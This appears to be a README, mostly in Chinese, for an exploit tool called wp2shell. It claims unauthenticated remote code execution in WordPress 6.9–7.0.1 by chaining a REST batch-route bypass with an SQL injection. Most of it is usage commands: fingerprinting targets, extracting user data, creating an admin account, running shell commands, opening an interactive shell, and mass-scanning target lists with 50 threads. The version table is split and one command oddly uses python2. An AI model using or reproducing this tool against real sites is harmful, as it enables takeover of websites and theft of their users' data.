
wp2shell - WordPress RCE & PoC (CVE-2026-63030 + CVE-2026-60137)
WordPress 核心中的未认证远程代码执行
作者:JohenLastGen
该工具利用两个关键的 WordPress 漏洞链实现 未认证 RCE:
| 漏洞 | CVE | 描述 |
|---|---|---|
| REST 批量路由混淆 | CVE-2026-63030 | 绕过验证,传输 SQLi 载荷 |
| WP_Query author__not_in SQL 注入 | CVE-2026-60137 | 原始字符串注入 → SQL 执行 |
影响: 未认证攻击者 → 创建管理员 → 执行命令
| 版本范围 | 状态 |
|---|---|
| WordPress 6.9.0 - 6.9.4 | ✅ 易受攻击 (完整 RCE 链) |
| WordPress 7.0.0 - 7.0.1 | ✅ 易受攻击 (完整 RCE 链) |
#options:
-h, --help show this help message and exit
python3 wp2shell.py --help
# 1. Check if target is vulnerable
python3 wp2shell.py check https://target.com
# 2. Extract data (fingerprint/users)
python3 wp2shell.py read https://target.com --preset fingerprint
python2 wp2shell.py read https://target.com --preset users
# 3. RCE - Create admin & execute command (NO CREDENTIALS NEEDED!)
python3 wp2shell.py shell https://target.com --cmd "id"
# 4. Interactive shell
python3 wp2shell.py shell https://target.com --interactive
# 5. Mass scan multiple targets
python3 wp2shell.py scan targets.txt --threads 50 --prove --json results.json
| WordPress 6.8.0 - 6.8.5 | ⚠️ 仅 SQL 注入 (需要辅助插件) |
| WordPress 6.9.5, 7.0.2+ | ❌ 已修补 |